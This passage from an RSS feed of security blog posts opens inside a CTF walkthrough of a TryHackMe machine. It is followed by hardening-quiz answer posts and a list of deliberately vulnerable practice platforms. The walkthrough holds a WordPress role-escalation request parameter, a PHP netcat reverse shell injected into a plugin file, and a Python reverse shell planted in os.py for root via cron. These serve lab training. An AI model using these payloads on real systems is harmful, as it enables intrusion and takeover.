href="http://jack.thm/">http://jack.thm</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Xi06qQCRPL7LTcUAo4jkPQ.png" /></figure><p>We have a valid username and password login to WordPress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7bRo5p0rSV-KuZAqHP7PA.png" /></figure><p>At this point, I had to take a hint, because there were <strong>no plugins found via wpscan,</strong> and <strong>this user wasn’t</strong> an admin user, So We will use Searchsploit</p><pre>searchsploit Plugin User role editor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*y106qyl2udMSdG0YMsKxIw.png" /></figure><h4>Download exploit</h4><pre>searchsploit -m 44595</pre><p>This exploit tells that send a modified post request specifying the users privileges using <strong><em>ure_other_roles</em></strong> as part of updating a users profile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*vwS4cLjusKpnxscBjyexrg.png" /></figure><p>open <strong>Burp Suite</strong>, set the <strong>proxy</strong> on your browser and <strong>turn on intercept</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*zfnWit54D6yx7ujpQ6apOw.png" /></figure><p>We can see that the section of the post request that may be vulnerable:</p><p>Now Compare this to the ruby module we download using searchsploit we can see that all parameter in the post request are set except for <strong><em>ure_other_roles</em></strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Y-0doqOjH7UwMUC5tAGt7w.png" /></figure><p>So, let’s try adding this to our request and see if it does work:</p><pre>&amp;ure_other_roles=administrator</pre><p>We modify our request and click forward in Burp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*YsRQU7xGEVAdHec0QEy9PA.png" /></figure><p>When We forward our request . We have administrator access to WordPress and we can see under the plugins tab the vulnerable User Role Editor Plugin Version 4.24:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*kQCgBSwYUfSETBPx3F5Nrw.png" /></figure><p><strong>Getting a Shell</strong></p><p>Go to plugin editor and paste this one linear code in Akismet.php</p><pre>&lt;?php system(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.X.X 4444 &gt;/tmp/f&quot;) ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qnmJPs6p03zBPVtFnxRKQ.png" /></figure><p>now click on update file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*XFshv93-eLDs0tUOr4ESsQ.png" /></figure><p>now click on Activate to get reverse-shell</p><p>We start our Listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*3ljFEuDNfcfYuVGkOO241Q.png" /></figure><p>We have user <strong>www-data</strong> ,which has low privilege. We need to Escalate user jack .Checking out the reminder.txt file, we noticed something related to backups, so we do some enumeration and find a backups folder with an ssh key which we can use to login as jack.</p><p>List of files under <strong>/var/backups</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*dSMbhENLveDtQBdLpJJWbQ.png" /></figure><p>We can login as user jack after changing the permissions of the id_rsa to 600</p><p>Then we try SSH:</p><pre>ssh -i id_rsa jack@jack.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*jAm-oiresrNU15sSl4UvyQ.png" /></figure><p><strong>User.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*oXnezDpcKcRGQKmDdrR-Uw.png" /></figure><h3>Privilege Escalation to Root</h3><p>Download <a href="https://github.com/wildkindcc/Exploitation/blob/master/00.PostExp_Linux/pspy/pspy64"><strong>pspy64</strong></a></p><pre>wget <a href="https://github.com/wildkindcc/Exploitation/blob/master/00.PostExp_Linux/pspy/pspy64">https://github.com/wildkindcc/Exploitation/blob/master/00.PostExp_Linux/pspy/pspy64</a></pre><p>Transfer this file into jack’s <strong>/tmp </strong>folder to run</p><p>Using <a href="https://github.com/wildkindcc/Exploitation/blob/master/00.PostExp_Linux/pspy/pspy64"><strong>pspy</strong></a> to monitor the processes that are running, we notice that root has a cronjob running every minute. The script is located at <strong>/opt/statuscheck/checker.py</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ve14sK2EqCKcrKnbmkfhQ.png" /></figure><p>The contents of the script shows that it imports the python module <strong>os</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*cCBl9YzEIEyOqCq2VSe5dA.png" /></figure><p>With all that information we discovered, it’s time to do some further enumeration. We noticed that the user <strong>jack</strong> is part of the <strong>family group</strong> which has the ability to write on any files under the <strong>/usr/lib/python2.7/</strong> directory. This is good because the <strong>os</strong> module is under that directory and our user jack has write access to that module.</p><pre>www-data@jack:/home/jack$ id jack<br>id jack<br>uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*nC9XTDYpOuD7IWGYetdizA.png" /></figure><p>To exploit this, we edit the <strong>/usr/lib/python2.7/os.py</strong> module and add the following reverse shell all the way at the end</p><pre>import socket<br>import ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;192.168.X.X&quot;, 4444))<br>dup2(s.fileno(),0)<br>dup2(s.fileno(),1)<br>dup2(s.fileno(),2)<br>pty.spawn(&quot;/bin/bash&quot;)<br>s.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*RLm1qtk8JBoY8WPxcNsP8Q.png" /></figure><p>We start a listener and wait 2 minute for the cronjob to run, and we get a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*9CyGGUEAOdBlk3f4a6u71w.png" /></figure><p>Thanks to the machine creator/s for this challenge.</p><p>follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://www.instagram.com/shamsher_khan_007/">Instagram</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b1530b54f1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardening Basics Part 1 TryHackme]]></title>
            <link>https://shamsher-khan-404.medium.com/hardening-basics-part-1-tryhackme-e57d9556533a?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e57d9556533a</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hardening-basic-part-1]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Thu, 20 May 2021 07:36:05 GMT</pubDate>
            <atom:updated>2021-05-20T07:36:05.959Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna This is a Writeup of Tryhackme room “Hardening Basics Part 1”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*fosgSc77qQMBxn2dAO1dVQ.png" /></figure><p>Machine Credential <strong>spooky:tryhackme</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*3WZKlCcW1gzHTYZD5VHdfQ.png" /></figure><h3>Task 11. Chapter 1 Quiz</h3><p>Question 1. What group are users automatically added to in Ubuntu?</p><blockquote><strong>Answer: sudo</strong></blockquote><p>Question 2. What would be the command to add an existing user, nick, to the sudo group? You’re running as root</p><blockquote><strong>Answer: usermode -aG sudo nick</strong></blockquote><p>Question 3.What command as a user can we enter to see what we are allowed to execute with sudo?</p><blockquote><strong>Answer: sudo -l</strong></blockquote><p>Question 4. Where is the sudo policy file stored?</p><blockquote><strong>Answer: /etc/sudoers</strong></blockquote><p>Question 5. When in visudo and you see %____, what does the % sign indicate that you are dealing with?</p><blockquote><strong>Answer: group</strong></blockquote><p>Question 6. This Alias lets the user assign a name, like “ADMINS” to a group of people</p><blockquote><strong>Answer: user</strong></blockquote><p>Question 7. Which Alias allows you to create a set of commands that you can then assign to a User Alias?</p><blockquote><strong>Answer: command</strong></blockquote><p>Question 8. Yey/Ney — emacs has a shell escape</p><blockquote><strong>Answer: Yey</strong></blockquote><p>Question 9. What is the minimum recommended password length set by NIST?</p><blockquote><strong>Answer: 8</strong></blockquote><p>Question 10. When using the pwhistory module, which file will contain the previous passwords for the user?</p><blockquote><strong>Answer: opasswd</strong></blockquote><p>Question 11. What principle states that every user only has enough access to do their daily duties and tasks</p><blockquote><strong>Answer: principle of least privilege</strong></blockquote><h3>Task 15. Basic Uncomplicated Firewall for Ubuntu &amp; Chapter 2 Quiz</h3><p>Question 1. This type of Firewall typically has two NIC cards</p><blockquote><strong>Answer: Network-Based</strong></blockquote><p>Question 2. This type of Firewall is typically installed on a host computer and rules apply to that specific host only</p><blockquote><strong>Answer: Host-Based</strong></blockquote><p>Question 3. Web Application Firewalls help add an extra layer of security to your web servers. Where should these be installed?</p><blockquote><strong>Answer: demilitarized zone</strong></blockquote><p>Question 4. iptables is <em>not </em>the name of the Linux Firewall. What is the framework that iptables allows us to interact with?</p><blockquote><strong>Answer: netfilter</strong></blockquote><p>Question 5. This 3 letter acronym is a set of rules that defines what the Firewall should allow and what it should deny</p><blockquote><strong>Answer: ACL</strong></blockquote><p>Question 6. Which iptables option allows us to keep track of the connection state?</p><blockquote><strong>Answer: — ctstate</strong></blockquote><p>Question 7. Which iptable Chain is responsible for packets on the local network that are being carried onwards?</p><blockquote><strong>Answer: Forward</strong></blockquote><p>Question 8. Which table mashes up the packets as they go through the Firewall?</p><blockquote><strong>Answer: mangle</strong></blockquote><p>Question 9. What is the last rule that should be added to an access control list?</p><blockquote><strong>Answer: implicity deny</strong></blockquote><p>Please Follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://www.instagram.com/shamsher_khan_007/">Instagram</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a><br>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e57d9556533a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardening Basics Part 2 TryHackme]]></title>
            <link>https://shamsher-khan-404.medium.com/hardening-basics-part-2-tryhackme-560f007a72f?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/560f007a72f</guid>
            <category><![CDATA[hardening-basic-part-1]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Thu, 20 May 2021 07:32:52 GMT</pubDate>
            <atom:updated>2021-05-20T07:32:52.043Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna</strong> <strong>This is a Writeup of Tryhackme room “Hardening Basics Part 2”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*b4cSfASbWsjmCwCM0HY1dw.png" /><figcaption><a href="https://tryhackme.com/">https://tryhackme.com</a></figcaption></figure><p><strong>spooky:tryhackme</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*WYbl1bSH6qb0ezDtGoEjdg.png" /></figure><h3>Task 2: Chapter 3 Quiz</h3><p>Question 1. Which SSH Protocol version is the most secure?</p><blockquote><strong>Answer: 2</strong></blockquote><p>Question 2. This is a random, arbitrary number, used as the session key, that is used to encrypt GPG.</p><blockquote><strong>Answer: nonce</strong></blockquote><p>Question 3. Yey/Ney — GPG is based off of the OpenGPG standard</p><blockquote><strong>Answer: yey</strong></blockquote><p>Question 4. What is the command to generate your GPG keys?</p><blockquote><strong>Answer: gpg — gen-key</strong></blockquote><p>Question 5. What is the command to symmetrically encrypt a file with GPG?</p><blockquote><strong>Answer: gpg -c</strong></blockquote><p>Question 6. What is the command to asymmetrically encrypt a file with GPG?</p><blockquote><strong>Answer: gpg -e</strong></blockquote><p>Question 7. What is the command to create SSH keys?</p><blockquote><strong>Answer: ssh-keygen</strong></blockquote><p>Question 8. Where are ssh keys stored in a user’s home directory?</p><blockquote><strong>Answer: .ssh</strong></blockquote><p>Question 9. What option needs to be set to select the type of key to generate for SSH?</p><blockquote><strong>Answer: -t</strong></blockquote><p>Question 10. The SSH configuration options presented in this chapter were found in what file (full path)?</p><blockquote><strong>Answer: /etc/ssh/sshd_config</strong></blockquote><h3>Task 13: Chapter 4 Quiz</h3><p>Question 1. Where are the AppArmor profiles located?</p><blockquote><strong>Answer: /etc/apparmor.d</strong></blockquote><p>Question 2. This directory includes partial profiles to be used in your own custom profiles</p><blockquote><strong>Answer: abstractions</strong></blockquote><p>Question 3. This punctuation mark is REQUIRED at the end of every rule in a profile</p><blockquote><strong>Answer: ,</strong></blockquote><p>Question 4. This AppArmor mode enforces the profiles but also logs them</p><blockquote><strong>Answer: audit</strong></blockquote><p>Question 5. This command checks the status of AppArmor</p><blockquote><strong>Answer: aa-status</strong></blockquote><p>Please Follow on <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">LinkedIn</a> <a href="https://twitter.com/shamsherkhannn">Twitter</a></p><p>Written by <a href="https://tryhackme.com/p/Shamsher">Shamsher khan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=560f007a72f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[100 Most Vulnerable Apps, Systems & Platforms to Practice Penetration Testing -2021]]></title>
            <link>https://shamsher-khan-404.medium.com/100-most-vulnerable-apps-systems-platforms-to-practice-penetration-testing-2021-e76ca7235e74?source=rss-d6b0b9f411e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e76ca7235e74</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[platform]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Thu, 20 May 2021 07:24:24 GMT</pubDate>
            <atom:updated>2021-05-20T07:24:24.404Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khan</strong></p><p>To learn and practice penetration testing against web application and network devices, vulnerable web applications and platforms are playing major role and provide all the possibilities of attacks.</p><p>Here we have list of all most every vulnerable systems and applications on the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*WzXGA7drD8uGcmm1q3hoAw.png" /></figure><h3>Vulnerable Web Applications</h3><ul><li><a href="https://www.vulnhub.com/entry/badstore-123,41/"><strong>BadStore</strong></a> — Badstore.net is dedicated to helping you understand how hackers prey on Web application vulnerabilities, and to showing you how to reduce your exposure. Our Badstore demonstration software is designed to show you common hacking techniques.</li><li><a href="http://code.google.com/p/bodgeit/"><strong>BodgeIt Store</strong></a><strong> </strong>— The BodgeIt Store is a vulnerable web application which is currently aimed at people who are new to pen testing.</li><li><a href="http://thebutterflytmp.sourceforge.net/"><strong>Butterfly Security Project</strong></a><strong> </strong>— The ButterFly project is an educational environment intended to give an insight into common web application and PHP vulnerabilities. The environment also includes examples demonstrating how such vulnerabilities are mitigated.</li><li><a href="http://sourceforge.net/projects/bwapp/files/bee-box/"><strong>bWAPP</strong></a><strong> </strong>— bee-box is a custom Linux VM pre-installed with bWAPP.</li><li><a href="https://github.com/RhinoSecurityLabs/cloudgoat.git"><strong>CloudGoat</strong></a><strong> </strong>— CloudGoat is Rhino Security Labs’ “Vulnerable by Design” AWS deployment tool</li><li><a href="https://github.com/stasinopoulos/commix-testbed"><strong>Commix </strong></a>— A collection of web pages, vulnerable to command injection flaws.</li><li><a href="https://github.com/SpiderLabs/CryptOMG"><strong>CryptOMG </strong></a>— CryptOMG is a configurable CTF style test bed that highlights common flaws in cryptographic implementations.</li><li><a href="https://github.com/m6a-UdS/dvca.git"><strong>Damn Vulnerable Cloud Application</strong></a><strong> </strong>— Damn Vulnerable Cloud Application</li><li><a href="https://github.com/appsecco/dvna"><strong>Damn Vulnerable Node Application(DVNA)</strong></a> — Damn Vulnerable NodeJS Application</li><li><a href="http://www.dvwa.co.uk/"><strong>Damn Vulnerable Web App (DVWA)</strong> </a>— Damn Vulnerablbe Web Application</li><li><a href="https://github.com/snoopysecurity/dvws"><strong>Damn Vulnerable Web Services (DVWS)</strong> </a>— Damn Vulnerable Web Services is an insecure web application with multiple vulnerable web service components that can be used to learn real world web service vulnerabilities.</li><li><a href="https://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx"><strong>Foundstone Hackme Bank </strong></a>— Free McAfee tools to aid in your security protection.</li><li><a href="https://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx"><strong>Foundstone Hackme Books </strong></a>— Free McAfee tools to aid in your security protection.</li><li><strong>Foundstone Hackme Casino </strong>— Free McAfee tools to aid in your security protection.</li><li><a href="https://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx"><strong>Foundstone Hackme Shipping </strong></a>— Free McAfee tools to aid in your security protection.</li><li><a href="https://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx"><strong>Foundstone Hackme Travel </strong></a>— Free McAfee tools to aid in your security protection.</li><li><a href="https://sourceforge.net/projects/null-gameover/"><strong>GameOver </strong></a>— Project GameOver was started with the objective of training and educating newbies about the basics of web security and educate them about the common web attacks and help them understand how they work.</li><li><a href="https://hackxor.sourceforge.net/cgi-bin/index.pl"><strong>hackxor </strong></a>— Hackxor is a realistic web application hacking game, designed to help players of all abilities develop their skills. All the missions are based on real vulnerabilities I’ve personally found while doing pentests, bug bounty hunting, and research.</li><li><a href="https://github.com/rapid7/hackazon"><strong>Hackazon </strong></a>— A modern vulnerable web app</li><li><a href="http://sourceforge.net/projects/lampsecurity/"><strong>LAMPSecurity</strong></a><strong> </strong>— LAMPSecurity training is designed to be a series of vulnerable virtual machine images along with complementary documentation designed to teach linux,apache,php,mysql security.</li><li><a href="https://sourceforge.net/projects/getmantra/"><strong>OWASP Mantra</strong></a> — Free and Open Source Browser based Security Framework, is a collection of free and open source tools integrated into a web browser, which can become handy for penetration testers, web application developers, security professionals etc.</li><li><a href="https://github.com/webpwnized/mutillidae"><strong>NOWASP / Mutillidae 2</strong></a> — OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.</li><li><a href="http://code.google.com/p/owaspbwa/"><strong>OWASP BWA </strong></a>— A collection of vulnerable web applications that is distributed on a Virtual Machine in VMware format compatible with their no-cost VMware Player and VMware vSphere Hypervisor (ESXi) products (along with their older and commercial products).</li><li><a href="https://github.com/Hackademic/hackademic/"><strong>OWASP Hackademic</strong> </a>— Project helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment.</li><li><a href="https://www.owasp.org/index.php/Owasp_SiteGenerator"><strong>OWASP SiteGenerator </strong></a>— OWASP SiteGenerator allows the creating of dynamic websites based on XML files and predefined vulnerabilities (some simple, some complex) covering .Net languages and web development architectures (for example, navigation: Html, Javascript, Flash, Java, etc).</li><li><a href="https://sourceforge.net/projects/owaspbricks/"><strong>OWASP Bricks </strong></a>— Web application security learning platform built on PHP and MySQL</li><li><a href="https://www.owasp.org/index.php/OWASP_Security_Shepherd"><strong>OWASP Security Shepherd </strong></a>— OWASP Security Shepherd is a web and mobile application security training platform. Security Shepherd has been designed to foster and improve security awareness among a varied skill-set demographic</li><li><a href="https://pentesterlab.com/"><strong>PentesterLab </strong></a>— We make learning web hacking easier!</li><li><a href="https://suif.stanford.edu/~livshits/securibench/"><strong>SecuriBench </strong></a>— Stanford SecuriBench is a set of open source real-life programs to be used as a testing ground for static and dynamic security tools. Release .91a focuses on Web-based applications written in Java.</li><li><a href="https://github.com/dobin/SentinelTestbed"><strong>SentinelTestbed</strong> </a>— Vulnerable web site. Used to test sentinel features.</li><li><a href="http://digi.ninja/projects/sockettome.php"><strong>SocketToMe</strong></a><strong> </strong>— It combines chat, a simple number guessing game and a few other hidden features</li><li><a href="https://github.com/Audi-1/sqli-labs"><strong>sqli-labs</strong></a><strong> </strong>— SQLI labs to test error based, Blind boolean based, Time based.</li><li><a href="https://github.com/SpiderLabs/MCIR"><strong>MCIR (Magical Code Injection Rainbow)</strong></a> — The Magical Code Injection Rainbow! MCIR is a framework for building configurable vulnerability testbeds. MCIR is also a collection of configurable vulnerability testbeds</li><li><a href="https://github.com/himadriganguly/sqlilabs"><strong>Sqlilabs</strong></a> — Lab set-up for learning SQL Injection Techniques</li><li><a href="https://www.nth-dimension.org.uk/blog.php?id=88"><strong>VulnApp</strong></a><strong> </strong>— ASP.net application implementing some of the most common applications we come across on our penetration testing engagements</li><li><a href="https://code.google.com/p/puzzlemall/"><strong>PuzzleMall</strong></a><strong> </strong>— A vulnerable web application for practicing session puzzling</li><li><a href="https://github.com/adamdoupe/WackoPicko"><strong>WackoPicko</strong></a><strong> </strong>— WackoPicko is a vulnerable web application used to test web application vulnerability scanners</li><li><a href="https://github.com/jerryhoff/WebGoat.NET/"><strong>WebGoat.NET</strong></a><strong> </strong>— This web application is a learning platform that attempts to teach about common web security flaws. It contains generic security flaws that apply to most web applications</li><li><a href="https://www.mavensecurity.com/web_security_dojo/"><strong>WebSecurity Dojo</strong></a> — A free open-source self-contained training environment for Web Application Security penetration testing. Tools + Targets = Dojo</li><li><a href="https://github.com/s4n7h0/xvwa"><strong>XVWA</strong></a><strong> </strong>— XVWA is a badly coded web application written in PHP/MySQL that helps security enthusiasts to learn application security.</li><li><a href="https://code.google.com/p/zaproxy/downloads/detail?name=zap-wave-0.1.zip"><strong>Zap WAVE</strong></a><strong> </strong>— An easy to use integrated penetration testing tool for finding vulnerabilities in web applications</li><li><a href="https://portswigger.net/web-security"><strong>Web-Security Academy</strong></a><strong> </strong>— A free platform for learining and testing your Web Application security skills with practice labs and learning materials by Portswigger</li><li><a href="https://juice-shop.herokuapp.com/"><strong>OWASP Juice Shop</strong></a> — An Open Source platform for testing Web-Application Security skills. The application contains a vast number of hacking challenges of varying difficulty level</li></ul><h3>Sites for Downloading Older Versions of Various Software</h3><ul><li><a href="http://www.exploit-db.com/">Exploit-DB </a>— The Exploit Database is maintained by Offensive Security, an information security training company that provides various Information Security Certifications as well as high end penetration testing services</li><li><a href="http://www.oldapps.com/">Old Apps </a>— Provide our users with a wide assortment of current versions of familiar software, and their predecessors for free</li><li><a href="http://www.oldversion.com/">Old Version </a>— Pick a software title… to downgrade to the version you love!</li><li><a href="https://sourceforge.net/projects/virtualhacking/files/apps@realworld/">VirtualHacking Repo </a>— Virtual Hacking Lab</li><li><a href="http://www.portableapps.com/">All Version</a> — PortableApps is the world’s most popular portable software solution allowing you to take your favorite software with you</li></ul><h3>Sites by Vendors of Security Testing Software</h3><ul><li><a href="https://testasp.vulnweb.com/">Acunetix acuforum </a>— A forum deliberately vulnerable to SQL Injections, directory traversal, and other web-based attacks</li><li><a href="https://testaspnet.vulnweb.com/">Acunetix acublog </a>— A test site for Acunetix. It is vulnerable to SQL Injections, Cross-site Scripting (XSS), and more</li><li><a href="https://testphp.vulnweb.com/">Acunetix acuart </a>-This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix</li><li><a href="http://crackme.cenzic.com/">Cenzic crackmebank </a>— This is a test and demonstration site</li><li><a href="http://zero.webappsecurity.com/">HP freebank </a>— The Free Online Bank Web site is published by Micro Focus Fortify for the sole purpose of demonstrating the functionality and effectiveness of Micro Focus Fortify’s WebInspect products in detecting and reporting Web application vulnerabilities.</li><li><a href="http://demo.testfire.net/">IBM altoromutual </a>— The AltoroJ website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects</li><li><a href="http://aspnet.testsparker.com/">Mavituna testsparker </a>— This is a test and demonstration site for Netsparker</li><li><a href="http://php.testsparker.com/">Mavituna testsparker </a>— This is a test and demonstration site for Netsparker , Next Generation Web Application Security Scanner. Start Netsparker to scan this web site and let it find the vulnerabilities</li><li><a href="http://www.webscantest.com/">NTOSpider Test Site </a>— This site is setup to test automated Web Application scanners like AppSpider</li></ul><h3>Sites for Improving Your Hacking Skills</h3><ul><li><a href="https://microcorruption.com/">Embedded Security CTF </a>— Scattered throughout the world in locked warehouses are briefcases filled with Cy Yombinator bearer bonds that could be worth billions comma billions of dollars. You will help steal the briefcases</li><li><a href="http://www.enigmagroup.org/">EnigmaGroup </a>— Enigma Group has been providing its members a legal and safe security resource where they can develop their pen-testing skills on various challenges provided by this site</li><li><a href="http://escape.alf.nu/">Escape </a>— The code generates HTML in an unsafe way. Prove it by calling alert(1)</li><li><a href="http://google-gruyere.appspot.com/">Google Gruyere </a>— This codelab shows how web application vulnerabilities can be exploited and how to defend against these attacks</li><li><a href="http://www.forensickb.com/2008/01/forensic-practical.html">Forensic Practical</a> — To hone your forensic skills and run malware found on the honeypots by installing it on clean computer systems and watch its behavior</li><li><a href="http://www.gh0st.net/">Gh0st Lab </a>— The original idea of this network was to create a security research network where like minded individuals could work together towards the common goal of knowledge</li><li><a href="https://www.hackthebox.eu/">Hack The Box</a> — An online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with thousands of people in the security field</li><li><a href="https://tryhackme.com/">TryHackMe</a> — Cyber Security training made easy. A comfortable experience to learn by designing prebuilt courses which include virtual machines (VM) hosted in the cloud ready to be deployed</li><li><a href="http://www.hackthissite.org/">Hack This Site </a>— Hack This Site is a free, safe and legal training ground for hackers to test and expand their hacking skills</li><li><a href="http://www.hackthis.co.uk/">HackThis </a>— Defend the Web is an Interactive Cyber Security Platform</li><li><a href="http://www.hackquest.com/">HackQuest </a>— Anonymous Webhosting, Virtual Servers, Secure Email</li><li><a href="https://hack.me/">Hack.me </a>— Hacking-Lab is a service by Security Competence GmbH, a Swiss subsidiary of Compass Security AG. Compass Security is a well renowned European company specializing in penetration testing, incident response, digital forensics, and security trainings</li><li><a href="https://www.hacking-lab.com/">Hacking-Lab </a>— Hack.me is a FREE, community based project powered by eLearnSecurity. The community can build, host and share vulnerable web application code for educational and research purposes</li><li><a href="http://www.hackertest.net/">Hacker Test </a>— HackerTest.net is your own online hacker simulation. This new real-life imitation will help you advance your security knowledge of JavaScript, PHP, HTML and graphic thinking</li><li><a href="http://halls-of-valhalla.org/beta/challenges">Halls Of Valhalla </a>— Valhalla is a place for sharing knowledge and ideas. Users can submit code, as well as science, technology, and engineering-oriented news and articles</li><li><a href="http://hax.tor.hu/">Hax.Tor </a>— HaX.ToR.Hu is a challenge site putting emphasis on teaching basic security related issues in a fun way</li><li><a href="https://www.offensive-security.com/metasploit-unleashed/">Metasploit Unleashed </a>— The Metasploit Unleashed (MSFU) course is provided free of charge by Offensive Security in order to raise awareness for underprivileged children in East Africa</li><li><a href="http://www.overthewire.org/wargames/">OverTheWire </a>— The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games</li><li><a href="https://lab.pentestit.ru/">PentestIT </a>— Penetration testing laboratories “Test lab” emulate an IT infrastructure of real companies and are created for a legal pen testing and improving penetration testing skills</li><li><a href="https://pod.cybersecuritychallenge.org.uk/">CSC Play on Demand </a>— The aim of this challenge is to identify the means by which an insider may accidentally or maliciously leak organisational secrets via seemingly innocent files</li><li><a href="http://www.root-me.org/?lang=en">Root Me </a>— The fast, easy, and affordable way to train your hacking skills</li><li><a href="http://www.securitytreasurehunt.com/">Security Treasure Hunt </a>— A new Packet Capture-based Web Vulnerability Analysis challenge is available through April 30th, 2013, sponsored by 